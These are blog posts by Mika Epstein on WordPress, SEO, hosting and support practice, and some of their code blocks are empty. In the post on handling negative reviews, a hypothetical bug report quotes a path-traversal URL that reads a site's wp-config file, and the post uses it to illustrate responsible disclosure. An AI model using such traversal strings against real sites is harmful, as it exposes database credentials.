In the wake of Panda, a lot of sites got hit with bad SEO rankings from having crappy backlinks. In specific, I know many WordPress theme developers were hurt, including WPMUDev, because spammers and scammers used their themes. Basically their own popularity bit them in the ass, through no fault of their own save their success. After all, a pretty common question people have is “Do those crappy, low-quality inbound links hurt me?” And most of the time, the answer was no. Except when it did with Panda. At the time, it didn’t seem fair to anyone that your popularity would be detrimental to your SEO, and thus we have Dissavow. (Amusingly enough, [Bing got there first.](http://www.bing.com/community/site_blogs/b/webmaster/archive/2012/06/27/disavow-links-you-don-t-trust.aspx))
But what does it do? Here’s Matt Cuts explaining this:
For the rest of us, it lets you say ‘These links are crap and they’re not related to me, so please don’t let them impact my search ranking.’ Many of you are looking confused here, and wondering why they impacted you in the first place. After all, it’s not *your* responsibility to monitor the quality of sites on the Internet, is it? That’s why Google and Bing make the big bucks. And yet we all know how terrible search results can be, and frankly [Google’s blog search is horrible](https://halfelf.org/2009/googles-blog-search-is-irrelevant/ "Google’s Blog Search is Irrelevant"). I have to hand it to Google, though. Search is hard, and crowdsourcing the work of teaching a computer what is and is not spam is actually a good idea.
Google (and Bing’s) methodology rub me wrong. Now that Google has us doing the work for them, by picking out spammy sites and effectively reporting them, you’d think all is good for the theme world. Alas, not so. I’ve [heard rumblings](http://www.webmasterworld.com/google/4445558-2-30.htm) that Google is now asking theme developers to *remove* backlinks!
While I don’t feel a theme developer will be broken for this, it will make it much harder for them to promote their works. On the plugin end of things, I’ve had people ask me to remove their plugins because we don’t permit WordPress plugins to show backlinks unless they’re opt-in, and this means the dev can’t make money. Part of why is that you can have hundreds of plugins, but only one active theme. The other part is we feel it looks spammy. Now, so does Google.
But all that aside, if you want to disavow your backlinks, you can now do it, and the [directions aren’t complicated](http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html). Click on the disavow link, upload a text file formatted in a certain way, reap benefits. Sounds great, right? What if I told you that Google sends you no confirmation at all? There’s no confirmation, no way to see if what you did worked or not, and worst of all, this could take weeks, if not months, for them to crawl, sort, and re-crawl your sites. During that time, you hear nothing. When it’s done, you hear nothing.
You do all this work and end up in a vacuous hole of ‘well, there’s that then’ with no assurance of anything at all being done. That caught my attention in a bad way. How can I tell I’ve done the right thing? We’re already being killed by not being able to track [encrypted search terms](https://halfelf.org/2012/encrypted-search-terms/ "Encrypted Search Terms"), and now we’re not going to be able to tell if removing the links from the bad people is going to help our SERP?
 This is why I think SEO is full of it. To one degree or another, it’s *always* been about gaming the system, and tricking search engines into letting you rise to the top. Meta tags trumped quality, and then it was links (because obviously if people link to you, you’re valuable). Now we know people game links, so we remove that, which actually doesn’t hurt as much as you think. See, a lot of your search engine ranking came from the quality of sites that linked back to you. But the *most* valuable sites (like MediaWiki) have stringent policies and rules about *not* linking, or linking and using nofollow, to prevent you from getting link-juice. In the case of MediaWiki, it makes sense since anyone can edit it.
But…
That just went to prove the system was broken. Blogs (WordPress included) nofollows comment links for the same reason. If the door was open, the spammers would use it and make themselves look more important. And as the tools got smarter and started making those links worthless, the spammers started scraping your quality content, which Google et al had to learn to filter. We’re at the point where links are valueless. It doesn’t matter who links to you anymore, because none of the good sites will give you a lot of value since they’re trying to get rid of the spammers. So why is Google giving *any* weight to these spammer links?
If the state of link-relativity is so poor that search engines are asking us to remove backlinks from themes, and also to tell them which links to us are worthless, then all links are more trouble than they’re worth and we need to figure out a better way to measure the usefulness of our sites. What measuring sticks do you use?
**Categories:** How It Is
**Tags:** essay, search engines, seo
---
### [Failure Is Always An Option](https://halfelf.org/2012/failure/)
**Published:** October 23, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Embrace your failures, for from them come innovations.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/05/failure_is_always_an_option_by_rope1436-d33lxro.jpg)No matter how hard you try, how well you test, and how smart you are, you are going to screw up. I could probably just close this post saying that, but for some reason, people don’t like to accept failure as an option. We don’t want to do anything but succeed and think that we can get everything right, the first time, and every time.
“Well … you can’t!” as Mal told Jayne. You can’t get it right every time, and you’re probably never going to get it right the first time, mostly because it *is* the first time. Failure is an important aspect of progress, which we all know, and we’ve all heard, so I won’t delve into that. What I do what to do is remind you *how* to move from failure. What are your takeaways and what do you do next?
When software fails, the first thing you do is look at the error. I like to describe things in the plainest English possible: I entered in my email, clicked ‘submit’ and my webpage turned into a blank white page.
From experience, I know that a blank white page is often a PHP error, but by presenting it to myself in straightforward terms, I now know what to search for if I didn’t know that already. Search engines have come a long way in a short time, and if I search for ‘wordpress blank white page’ I get a lot of hits about the ‘White Screen of Death.’ Now I’ve learned a new term and I’ll file that away for later searches. Awesome to know. Now that I’ve found what the problem is (PHP) I can look into debugging. I can read the PHP error logs, or in the case of WordPress, turn on debugging to see if anything gets output.
The point to this is that finding an error is the first step in learning. I take what the error is, what the failure is, and I go forward. Failing isn’t a stop, it’s a pause in the process. Too many people take failure as a sign to stop everything, and while yes, failing does mean you’re doing\_it\_wrong() somewhere in there (or perhaps you’re not doing it as well as the next guy), and sometimes it does result in scrapping everything and starting over, it remains a sign to *look* at what you’re doing, not to stop entirely. When you don’t know the software well, or the tools, or anything at all, that initial failure of ‘It’s broken’ can be hard to overcome. The fear of failure keeps you from just taking the next step of ‘What do I do?’
[](http://xkcd.com/979/)
Once you’ve sort out what your problem is, learn from your failure and pass it on to the next guy. The reason a lot of people hate forums is that someone asks a question and either never replies, or leaves a ‘fixed’ message with no explanation. That makes it impossible to learn from the fail for the next guy, and you force them to reinvent the wheel.
I’m all for learning by doing, but progress happens because we share the answers. Pretty much all school is for a lot of people is memorizing the answers, which has it’s place. The rest of us learn the theory from seeing the path. We see the start, the fail, the middle, and the win, and it’s that journey that teaches us where to go next and invent new things.
**Categories:** How It Is
**Tags:** essay
---
### [Cloudy With a Chance of Upgrades](https://halfelf.org/2012/cloudy-upgrades/)
**Published:** October 11, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't let your eyes be bigger than your server. Know when you need cloud and when you don't.
**Content:**
We’re all being seduced by the cloud. Amazon’s AWS has become so popular and so, seemingly, inexpensive, that people are looking at it to run a website, instead of traditional hosting. [Understanding the cloud](https://halfelf.org/2010/what-is-cloud-hosting/ "What is Cloud Hosting?") actually was the first post on this site, and while two years ago I struggled to comprehend it, today I find myself at a loss many times when asked ‘Do I need the Cloud?’
I don’t need the cloud for webhosting, and you probably don’t either.
[](http://xkcd.com/1117/)
Yes, I have a semi-cloudlike host on LiquidWeb right now, for seven of the ten domains I manage (the other three are all on their own hosts, one of which being my me [Elf Dreams](http://elftest.net), where I talk about DreamHost stuff). I don’t plan on moving the other seven simply because it’s a massive effort. It’s easier to move yourself across country than it would be to move all my sites, re-build the server as I need it, get the code for the new OS (CentOS vs whatever I move to). Heck, I’m dreading upgrading to CentOS6 because of how annoying that is.
The point is that I do know and understand what the cloud is and does. It’s very cool, *if you’re big enough to need it.* Most indie sites are not.
How the cloud works, in general, is based on the shared resources principal. Everyone shares all the resources in the cloud at all times. If you think back to shared hosting, everyone shares all the resources on that server. The difference between the cloud and the shared is that the cloud has infinite expandability (kind of, but you get the idea), where as a shared host is limited to what it is physically. But when we were back on shared hosting, we used to have a problem with bad neighbors. You know, the other guy on your server who got tweeted by Felicia Day or Wil Wheaton, and suddenly all the sites on your server went down like a bad quiche.
That can happen on the cloud too.
It’s not exactly the same, but when you’re on a cloud, you’re on a server with a lot of virtual machines (VM). A VM is a “completely isolated guest operating system installation within a normal host operating system” which is a confusing concept. The reason they’re good is that a VM isolates your hardware in a funky way, making reboots faster, while letting your VM instances share a bunch of hardware and become faster. The flip side to this is that you’re still on a real server. Instead of everyone sharing the same CPU/RAM, you get partitions so I can only use X amount and you can only use Y, and thus we don’t kill each other, until we start slaughtering input/output.
Disk I/O (input/output) can be best explained if you’re an older computer user. Remember when we used to play “Where in the World is Carmen San Diego?” and we’d press a button to ‘travel’ and that old floppy drive would grind like a cheap espresso brewer? That’s I/O. The disk is being read and the data is being input from the disk and output to your Apple IIe. The basic concept of this still exists, and it makes sense when you remember we have to read the data off somewhere. So if you happen to be on a box that is getting a lot of traffic, and using a lot of disk I/O, then you’re going to be slow.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/10/320px-HolePunchCloud.jpeg)There are ways to mitigate this, of course, but that isn’t the problem. The problem is that you don’t always know that you need to, or how you should. And even if you do know, it’s not always very easy to do it, so the little guy, who doesn’t have the resources to do it themselves, or the money to hire someone, are left hoping that they’re okay, and often end up paying more than they need to.
And this is why you and I don’t need the cloud yet. The cloud is something I might need, but for now, there are no benefits I don’t already have with a well optimized server and a well built site. If I was a bigger site, or a company, I’d be looking at it as my next upgrade, and studying my past growth. It took me almost 10 years to grow to need a VPS, and it will likely take me at least 5 more before I need to seriously consider cloud. By then, something new will be the big thing, so the best thing I can do is study nginx and keep a finger on the pulse of web technology.
Of coures, the one major advantage to the cloud, and the reason I still see it as being around for a while, is the ability to scale up and down. A webhost provider can cannily utilize that to provide scalable shared hosting, so if you have a bad neighbor, they can be scaled up with less impact to you. But so far as I know, we’re only there with VPS demi-cloud providers right now. Give it time, and the cloud as we know it today will be tomorrow’s low-end hosting.
**Categories:** How It Is, How It Works
**Tags:** cloud, essay, website
---
### [Encrypted Search Terms](https://halfelf.org/2012/encrypted-search-terms/)
**Published:** September 28, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
I haven’t seen a lot of people kvetching about this, which surprises me.
If you like to look at JetPack’s stats and happen to giggle over your search terms, you may have noticed `encrypted_search_terms` showing up. Your search terms are what other people use in order to find you. So for example, someone found my blog by typing “forever alone” (which doesn’t make any sense to me, but okay).
About a year ago, [Google made search more secure, by letting you search via https](http://googleblog.blogspot.com/2011/10/making-search-more-secure.html). If you’re logged in to Google anything, you will be searching via https, which means no one knows what you searched for. Jetpack sees it as ‘encrypted search terms’ and Google Analytics sees it as ‘not provided.’ This is all great for the user, and the tin-foil hat me loves it! Except that now all we users see is encrypted search terms, instead of anything of value.
As the number of people who use Google whatevers grows, the value for my search terms is going to plummet. In fact, taking a look at things, my ‘not provided’ numbers have doubled. It used to be that maybe 1% of searches showed up like this. I was around 13% for an average month in January, and now I’m looking at 30%. I am losing the ability to see what search terms are good for my site, and this makes it hard to manage my SEO.
Oh. SEO. I hate you.
I laud Google for doing this and at the same time decry them. Yes, having users protected while they search is awesome, it means my data is safe and it’s less easy for people to mess with me. As a user, I think this is good. As a website guru, I wince a lot. Without the feedback of users’ search terms, it’s very hard to know what does and doesn’t work. And the worst part is the majority of your users *don’t even know they’re doing this*. They know they’ve signed in to Google email, and they’ve signed in to Google+, and that’s it. They don’t know the ramifications.
I don’t pretend to be an SEO expert, but what I do claim is to have common sense, and to valiantly fight against the will to be stupid. It’s pretty obvious to me that encrypting my results rips out my ability to, for free and with no cost to my users, be able to determine what works and what doesn’t on the fly. Many times, when I tweak a site, I follow the stats and see what pages are hit more often, by whom, and when. Now there are work arounds to loosing that immediate feedback, but when you think about it, almost all involve you having to pester your users.
[A/B testing](http://en.wikipedia.org/wiki/A/B_testing) is the least intrusive way about it, but for a lot of people, it’s complicated to do on a small, simple website. The basic idea is to ‘draw’ users to two different versions of the same site, and see which one gets more traffic. [Max A/B](http://wordpress.org/extend/plugins/maxab/) is a good WordPress plugin for that. That said, your users may notice that the site one of them sees isn’t the same as another, and it means you have to up-keep two versions for a while.
Google, naturally, isn’t very consistent here. They generate their live traffic information via your cellphones. Whenever an Android user [opts into location tracking](http://googleblog.blogspot.com/2009/08/bright-side-of-sitting-in-traffic.html), Google constantly monitors their location. If a whole mess of users are slowing down on the 405, guess what? Traffic. Now, arguably your data is ‘safe in their hands’, but that’s impossible to prove. If you haven’t yet, read Cory Doctorow’s [“With A Little Help”](http://craphound.com/walh/), especially the story “Scroogled.”
Basically what Google’s saying is ‘You can’t use their data, but we can. Trust us.’ Nothing makes me start to trust someone less.
**Categories:** How It Works
**Tags:** essay, freedom, privacy, support, website
---
### [WordPress: Sticky Posts On Static Front Page](https://halfelf.org/2011/wordpress-sticky-posts-on-static-front-page/)
**Published:** April 3, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The main reason I don't theme is becuase I don't like to. But when I have to, I actually do know what to do.
**Content:**
 I built my Dad a site, and while he still emails me the content, I still want the code to be easy to use for me and, in theory, for him one day. The original design was (and is) a static front page with the whole company spiel. Dad rarely changed things since 1999 anyway, so I figured I was pretty safe keeping that layout. I did add in a ‘News’ page, which he could use to ‘blog.’ I keep trying to explain that it’s not being a nerdy blogger, it’s a way to reach out to his readers, but … well, it’s a paradigm shift for him.
Then February happened.
Dad lives in Japan, you see, and among other things, works on Risk Analysis for nuclear power plants. This Fukushima disaster is his bread and butter and in his backyard. Obviously he’s involved. This had a round-about way to making he delve into theming more than I normally do, because my Dad wanted to put something on the front of his page. I thought that it would be a one time thing, but last night he wanted to change it with a new thing. Suddenly Dad needs featured posts!
On one of my sites, I use a special category for featured posts, list five in a sort of news/image scroller that swipes across your screen. It works. What Dad needed was a little different:
1. A way to flag a post as ‘featured’ or ‘forward facing’
2. Keep his main ‘page’ stuff below
3. Show videos (embeds don’t work in the\_excerpt)
4. Show *nothing* if you have no featured posts
Thanks to Twitter, I came up with a pretty simple answer. For a brief moment, I toyed with making this a widget, but since I already had a special front page template for the site, instead I added a special loop that runs at the top:
```
```
From Justin Tadlock we get the very helpful [Get the latest sticky posts in WordPress](http://justintadlock.com/archives/2009/03/28/get-the-latest-sticky-posts-in-wordpress) which I used to show the first (and only) sticky. Obviously change the 1 to the number of stickies you want.
```
```
Once we’re in the meat of the query, I wanted to show the full post if there’s no custom excerpt, and then just the excerpt if there is one. This works around the annoying fact that you can’t embed videos in the excerpt (images and italics, yes, but not videos). Also, I tossed in `if (is_numeric($sticky[0])) {}` around the whole thing. If there is no sticky post, then `$sticky[0]` (which is the first item in the array `$sticky`) isn’t a number, it’s ‘null’ (which means ‘Hey! Nothing here!). My check is simply ‘If there’s any number in here, we’re good!’
```
```
At the end I called in `wp_reset_query();` so I could reset the query and go back to the regularly scheduled post.
There’s really not a whole lot customized on [Woody.com](http://woody.com), but what there is works and it’s simple. I try to keep everything such that if Dad every decides he can do this stuff, it will be straightforward so he *can* do it. Telling him ‘Mark a post as sticky and it’ll show on your home page’ is easy. He can do that.
**Categories:** How To
**Tags:** themes, wordpress
---
### [Command Line Mac Trash Tricks](https://halfelf.org/2012/fast-trash-mac/)
**Published:** September 24, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Command line my trash? Why not!
**Content:**
*Warning! I’m going to talk about the ‘rm’ command which is a super-deadly command in the linux world. No matter what, never ever *ever* consider running it unless you’re certain you know what it does!*
I review a lot of plugins, which means I download them all to my laptop, review all the code, possibly install them, and then delete. This means, on any given week, I have 5000 items in my trash. And this is without unzipping! (Yes, we get a lot of plugins, and TextWrangler lets me review most of them in their zips.)
When I forget to empty my trash every day, I end up waiting hours for the GUI empty to run unless I use `rm -rf` from inside the `~/.Trash/` folder. The real command is this:
```
$ rm -rf ~/.Trash/*
```
I like this because it’s crazy fast compared to the GUI, and
But sometimes I actually just want to commandline my trash. I’ll be banging on things in Terminal and a very simple ’empty trash’ command would be nice, right? [OSX Trash](http://www.dribin.org/dave/osx-trash/) lets me type `trash -l` to see what’s in my trash, and `trash -e` to run the normal empty command. It’s better than a lot of other scripts, because if I type `trash filename` and there’s already a file with that name in the trash, it behaves like Mac Norm. That is, it’ll rename my second file ‘filename date’ and I won’t have file conflicts!
The only thing it’s missing is a ‘trash -p’ command, which would let me run the force rm and just dump it all. Yes, I know rm works, but if you’ve ever typed it in the wrong window, you know why it’s a terrifying command. Still, back to the age old rm commands, what happens when you have that annoying locked file error? Like me, you probably kvetch about quitting everything to delete.
More command line magic!
```
$ cd ~/.Trash
$ chflags -R nouchg *
$ rm -rf *
```
Finally, to make this full circle, I made a dead simple alias to prevent me from fat fingering the rm too much:
```
alias trashdump='rm -rf ~/.Trash/*'
```
Fast, efficient, and potentially deadly, but less than manually typing it in all the time. Deleted 2000 files in seconds, versus minutes.
**Categories:** How To
**Tags:** apple, coding, command line, macintosh, unix
---
### [Handling Negatives](https://halfelf.org/2012/handling-negatives/)
**Published:** August 28, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Turn your frown upside down and don't panic when your plugin gets bad reviews.
**Content:**
Every once in a while, someone raises a stink about how their WordPress plugin or theme got a bad review or comment on the forums and how the mods should delete it.
We rarely do.(We have, on occasion, done so, but usually only under sever provocation, and often that ends with the developers making the demands being blocked for being jerks.)
The issue at heart is not ‘OMG! Someone hates my plugin!’ but how do you handle the negative remarks. I mention this in passing (multiple times) in my ‘How to Support Plugins’ presentation, but text is really a terrible medium to communicate. You know there’s a difference between these two sentences:
> “I want a unicorn,” she said, bubbling with delight and hope.
and
> She jabbed a finger in my direction. “I want a unicorn!” Her voice pitched in a low, guttural, growl.
But the reason you know that the first one is nice and the second a little threatening is the context. Prose lends itself to this quite well, because authors take the time to explain what’s being felt and evoked. A help ticket, on the other hand, is pretty dry and plain stuff. And because we’re humans, we attempt to put meaning into the words, often ones the author never intended. We’re programed to look for the meaning, hidden or otherwise, and we always interperate based on our mood and our situations.
This means when you see a ‘complaint’ like this, you have a reaction:
> Ipstenu’s Really Awesome Plugin has a security hole. If you go to `/wp-content/plugins/really-awesome/readem.php?=../../../wp-config.php` then you can totally read the contents of your wp-config!
Obviously as a developer my first reaction should not be to yell at this user and remind them to *email* me about my plugin.(Protip, developers, always put your email or a contact link in your plugin! If they can’t find you, then you don’t get to bitch they didn’t contact you. At the very least, put it in your source code.) And even though people should email `plugins@wordpress.org` they don’t always know that, and it’s okay. You can’t know what you don’t know, after all. No, my first reaction, as a dev, is to plug the hole! It’s that obvious. Fix the problem, push a new version, and then come back to the post and reply:
> Wow, thank you for letting me know. I’ve fixed that and released a new version. If you find things like this again, please email me at ipstenu@….. Again, thank you for reporting this.
Then in my plugin, you’ll see a credit in the changelog and/or the version history:
> Version 2.0 – Security update thanks to RandomUser. readem.php let you read any php file on your install. Please upgrade ASAP.
That’s it.
The idea isn’t to hide any mistakes I make, or act out of fear and desperation, but to take a hold of the problem, resolve it, and move forward. Check out [WPSecureNet](http://wpsecure.net/category/exploits/) and their list of plugins. Normally they’ll only post when an exploit is closed, but sometimes they report while vulnerable. There’s no shame in being listed there, unless you haven’t patched your plugin yet, and realisticly there’s no shame in being listed anywhere as having a bug.
Look, bugs happen. We can wish we’d never stub our toes, but we will. We can wish we’d never stab our toes, but someone will find a way to do that too. Humans are imperfect. We make mistakes, we don’t see things that are ‘obvious’ and it happens. Consider the number of books you get when typos: that’s after an author, an editor, and a test reader has proofed the book. With most code, you have fewer eyes than a book, and bugs still slip in. Clearly it’s going to be impossible to prevent any and all bugs, and once we accept that, then we can move on to taking these moments as less painful.
It is painful to get a security report, or even a bug report. Even if this is ‘just’ a hobby, you’ve spent hours of your free time banging away, trying to make something awesome, and now you found out it just wasn’t. No matter how experienced you are, you take this personally, even for just a split second. Getting over that hurdle, that fear that everything is ruined, isn’t easy. And this is why I keep saying that you shouldn’t worry as much about the bugs as how you *handle* them.
Your users, be they just the folks who use the plugin or people who pay you, will follow your lead. If you’re calm, collected, and honest, then they’ll value you and your product. They’ll appreciate you and what you can do. By taking the negatives and turning them positive (sorry, that’s cheesy) you will improve your relationship with users, clients, and the community.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/08/angry-woman-753939.jpeg)But what about those angry ‘You suck!’ posts? Oh, they happen, and with a bit more frequency than we’d all like. Often people like to lump them with those posts where people complain about your plugin, only to have the wrong plugin… Look. The way you handle those negative people is the way you will set the tone for your entire online life. You can react aggressively, or you can handle it calmly and rationally. Personally, when I see someone rage on about how the original poster is a moron, and they don’t know what they’re talking about, I put them on my blacklist. I will never again use their plugins or themes or any code, if I can help it. I’ll sooner fork it than anything else, because the best way I can vote is with my feet.
What about you? How do you handle the angry unicorn lovers? And what do you do when the devs go postal on you?
**Categories:** How It Is
**Tags:** coding, essay, support
---
### [Getting involved – Log on, jump in, hang out](https://halfelf.org/2012/getting-involved-wcsf/)
**Published:** August 21, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The video of me at WCSF.
**Content:**
From [WordPress TV](http://wordpress.tv/2012/08/21/mika-epstein-getting-involved-log-on-jump-in-hang-out/)
\[wpvideo YhblAsZZ w=640\]
The Passover quip at the end is something anyone who’s been to Seder would understand. There’s a story about four sons: one wise, one wicked, one simple, and one who cannot yet ask a question. It’s for that fourth son that we tell the story of Passover, so he can learn.
That really is a lot of my mentality with the forums. They don’t know, they may not know how to ask, so lets make the fourth son the first son.
ETA: The “I don’t have a WordPress related job” part of the talk is no longer true. Starting the 27th of August, I work for DreamHost.
**Categories:** How It Is, How It Works
**Tags:** wordcamp, wordpress
---
### [Managed Themes Have A Place](https://halfelf.org/2012/managed-themes/)
**Published:** August 13, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Managed Themes are great for the middle-of-the-road project.
**Content:**
*This post is dedicated to [Helen Hou-Sandi](http://helenhousandi.com), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). Helen and I like to Pass the Hat, to the amusement of my former firewall team. She also encouraged me to apply for the WP job I got last week. Thanks, Helen!*
I’ve been using a managed theme on my main site (ipstenu.org) for the last few months, and I’ve decided I really like it. I’ve also started to sort out the kind of people who should be using it, and it’s not everyone.
Let’s start by breaking down themes into their logical types:
- A Theme – These are things like TwentyEleven, that you simply use as-is.
- A Child Theme – These are for tweaks you can’t make via plugins or css.
- A Parent Theme – This is a theme you *know* you’re going to extend.
- A Theme Framework – Similar to a parent theme, this is a theme you build off of. It may, or may not, be a parent, however. See ThemeHybrid’s themes, or the Bootstrap theme.
- A Managed Theme – A theme that acts like a framework and a child at the same time.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/08/27411660_6e65e04ecb.jpg)The differences between these types is slim and sounds like I’m arguing semantics. The weird magic of it all is that themes are themes, and there’s not a whole lot of difference between everything. So maybe I’m looking at themes wrong. The point of themes is that you should be able to make your site look how you want to, no matter your skill level. The problem is that with a low skill level, you don’t know how to do the things you want to. This is where managed themes come in.
A managed theme holds your hands, and takes the burden of knowing ‘code’ off of the user. While I’m not a fan of [lowering the bar too much](https://halfelf.org/2010/basic-troubleshooting-is-still-a-must-have-skill/), there’s a point when we need to make the software easy enough in all aspects and not just some. WordPress isn’t perfect, and while it’s amazing a lot of things, there’s really too much going on in others. This is why there’s room for something like Tumblr, where it’s very easy to post (if hard to make your site look ‘right’). I see WordPress needing some improvement on posting, making it much easier for people to just write, and somehow separating that from the ‘managing a website’ part.
But at the same time, managing the website, making it look right, is crazy hard. There are a lot of options and a lot of possibilities. Anyone who’s tried to make a site for someone else knows how much like banging your head on a wall it can be. So when you’re new, and you can’t afford to hire the big guys to make a site, but you want flexibility without having to learn code, where do you go?
Managed Themes.
Look, I love a sexy Theme Framework. I’m a huge fan of ThemeHybrid. But part of why I love it is that I can get into the nitty gritty code, tweak functions, and go to the races. I spend a lot of time tweaking backends and testing layouts and messing with functions. But not everyone likes to do that, nor should they. I’m not a super snazzy theme designer, they’re not super awesome writers, it’s differences that make the world go around.
For the last few months, I’ve been using Genesis Theme and I have to say, if I was going to make a site to turn over to someone who I knew was somewhat savvy but not super technical, I’d pick that. It’s not ‘easy’, but this is something that a middle-of-the-road person could pick up, make their way through, and grow and advance as needed. It’s a perfect way to make your site not look ‘standard’ while still not meaning you have to be all action/hook/function skilled. After all, it takes a while to grow into that.
Managed themes aren’t for ‘me’ most of the time. I know that’s weird to say when you note that I’m using one. I’m really a framework sort of girl. I love the nuts and bolts. But when I don’t want to spend a whole day (like I just did) tweaking a child theme into submission, and just pick up and go and *not* look like an out of the box site, a Managed Theme is the way to go. I don’t have to worry about telling someone ‘Just edit the functions.php…’ when they want to change something. There’s a nice GUI for them.
I’ve played with a couple, but I have to say the only one that impressed me enough to give them a second chance was StudioPress’ Genesis Theme. Part of why I gave them a shot was because one of my best friends works there. But after half an hour of using it, I thought “This is *easy*.”
Who are Managed Themes for? They’re not for the newbies, and they’re not for the masters of all they survey. But if you, like me, don’t really like designing themes, and you’re not always wanting to pick apart code, grab a managed theme. I may still lean towards the Parent Theme Templates for myself, but right now, looking at a site my father wants, I’m looking at those managed themes.
They’re pretty darn cool.
**Categories:** How It Works
**Tags:** coding, themes, wordpress
---
### [Basic Troubleshooting Is Still a Must-Have Skill](https://halfelf.org/2010/basic-troubleshooting-is-still-a-must-have-skill/)
**Published:** December 15, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Are we lowering the bar too much for people with self-hosting? Where do we draw the line?
**Content:**
 How low is too low?
I wish I could say that lately I’ve noticed people asking ‘dumber’ questions on support forums, and while I do firmly believe the world’s IQ drops significantly between Thanksgiving and New Years, that’s not the problem here. People aren’t getting dumber. The problem is that the better people get at making software, the lower the technical requirement becomes.
Look at email. Back when it was elm or pine, you had to really know what you were doing to get in and send mails. Then we got a couple GUIs, and you could keep all your emails on a floppy disk (which we all had a million of, thanks to AOL), carrying them around from computer to computer, Mac or PC. Everything to do with computers has this curve: First only the hard core programmers can do anything. Then the tech-savvy users, who are usually friends of programmers, get in on it. Then the smart kids who play with stuff. Then their family. Then everyone. Then your grandmother.
By the time your grandmother gets around to things, it’s easy to use, easy to understand and friendly. This is, inherently, a good thing! To make the transition from geek toy to something usable that will change the world, you must make the entry barrier low enough for anyone with a reasonable amount of brain-power to use it. Twitter’s a great example of this. It’s easy to sign up, easy to use, easy to understand. Like anything else, you can get overwhelmed by the data influx, but that’s true of all technology. The telephone, for example, suddenly brought in the ability to have your dinner interrupted. It brought change where everyone has a phone. Of course, now we all have cell phones, but the idea remains the same.
So when I look at support forums and people are having trouble installing software on servers via FTP, I put my head in my hands. Sometimes this stuff is supposed to be hard. We can all *use* phones, but we can’t all *fix* phones or even build them. And that’s okay! We all have skills. Twitter would probably be something hellish to install on your own website, but to utilize their site? Not so bad! And again, that’s **okay**.
If you want to host your own website, you’re going to have accept this fact: You will *need* to be a smart, technical savvy, person.
There. I said it. Yes, you can totally be too uneducated to run a website. Here, I’ll go all the way! You *CAN* be too dumb for WordPress!
But let me stress this one more time: **IT’S TOTALLY OKAY TO BE TOO STUPID TO RUN YOUR OWN WEBSITE!**
See, people get hung up on this. They forget that there’s a huge difference between *running* a website and posting news to your site. The line between a webmaster and a blogger is blurry for a reason, and that’s what’s causing all these headaches. Back in the day, if you wanted to run your own site, you *had* to be a webmaster. Now? Not so much.
A webmaster is generally someone who thinks ‘Oh, sure, FTP, SSH, and SQL, no problem.’ They may prefer something like phpMyAdmin versus command like mySQL calls, but the most important thing is that they’re comfortable troubleshooting. A webmaster is the person who looks at an error, immediately looks it up (if they don’t know it off the top of their head), goes to forums, skims posts, reads what others have tried, and is willing and able to try things like a reverse DNS check. A webmaster makes backups so, at worst, they’ve only lost a day of work.
A blogger is a writer. A creator. Someone who can make content. A blogger looks at a sunset and creates a haiku. A blogger takes a photo of a naked man on a bicycle. A blogger tells you the drama of returning an unwanted present, or about how her son wants to wear a dress on Halloween.
And still, every day, I see people who don’t understand .htaccess asking for help with errors on their websites. I see people who complain they can’t auto-update their site from the inside, because FTP is too hard. I see people complain the magic 5-minute WordPress install is too hard. And I think that, perhaps, we’ve lowered the bar too much. If we’re at the point where the non-technical people are complaining it’s too hard to do something that is, by it’s nature, a technical thing, then we have a problem.
This problem is compounded by webhosts who, in order to make money, want to make it ‘easier’ for you to run a blog, so they have auto-installers. They lower the bar. Then we have web-apps (like WordPress) which let you install, from within the app, plugins and themes. This means that someone could create a site just like this one, without ever touching FTP or SSH. That also means when things go wrong, and they will, you’ve got someone stranded, crying that this ‘easy’ application sucks, you’re terrible, and whyyyyy meeeeee!
Every single person who’s ever worked support just started nodding their head and reaching for a drink.
So here’s the deal. Yes, you can become smart enough to run your own website, but before you jump into it, think about how long it took you to get comfortable with your computer. How long was it before you could email, link videos, and save MP3s? Do you know how to make folders in your email app? Do you know that emailing 200megs to someone will piss them off? Did you need a book, or someone to sit by you and teach you all this? Are you comfortable googling errors and applying fixes? More to the point, are you *willing* to get your hands dirty and make mistakes?
If you want to run a website community, you may need to break down and hire someone to do the heavy tech lifting for you. Just like you would want to hire someone to create cool art, or decorate your house. Sometimes you just need to grab an expert. Remember you can’t get something for nothing. Either invest the time and money in learning, or in someone who already knows it all and can support it for you.
Apropos of all of this, Google has a new site called [Teach Parents Tech](http://www.teachparentstech.org/). Lowering the bar. Again.
**Categories:** How It Is
**Tags:** essay, hosting, support
---
### [My Custom PostTypes Live in MU](https://halfelf.org/2012/my-custom-posttypes-live-in-mu/)
**Published:** August 7, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I use CPTs on three of my 15 WordPress sites. I never put them in my theme's function if I can help it.
**Content:**
*This post is dedicated to [Boone Gorges](http://teleogistic.net/) (aka ‘WP Boone’ to me), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). My brother is also named Boone, so even if WP Boone wasn’t so awesome, I’d like him.*
Custom Post Types. I really dig them, as a great way to make ‘kind of’ pages, without making a million pages. They don’t ‘order’ as well as pages, and default to publish date, but really that could be adjusted. The point, and I have one, is that they’re often a great alternative to Multisite, and I use them a lot.
There are lots of plugins that can make these for you, but I prefer to do it myself in a function file, becuase it gives me more flexibility for what is, let’s face it, a complicated sort of thing.
In this example, I’m going to make a ‘drawing’ custom post-type, like the one I just added to my photoblog. First I made a file called `photo-cpt.php` and in it put a header:
```
```
Notice I am *not* telling you to put this in a functions file. I never put my CPT in my theme’s function, becuase I always make my CPTs able to work with any theme. By making it a stand-alone ‘plugin’ file, I can put it in `mu-plugins` and run it automatically. More on this in a minute.
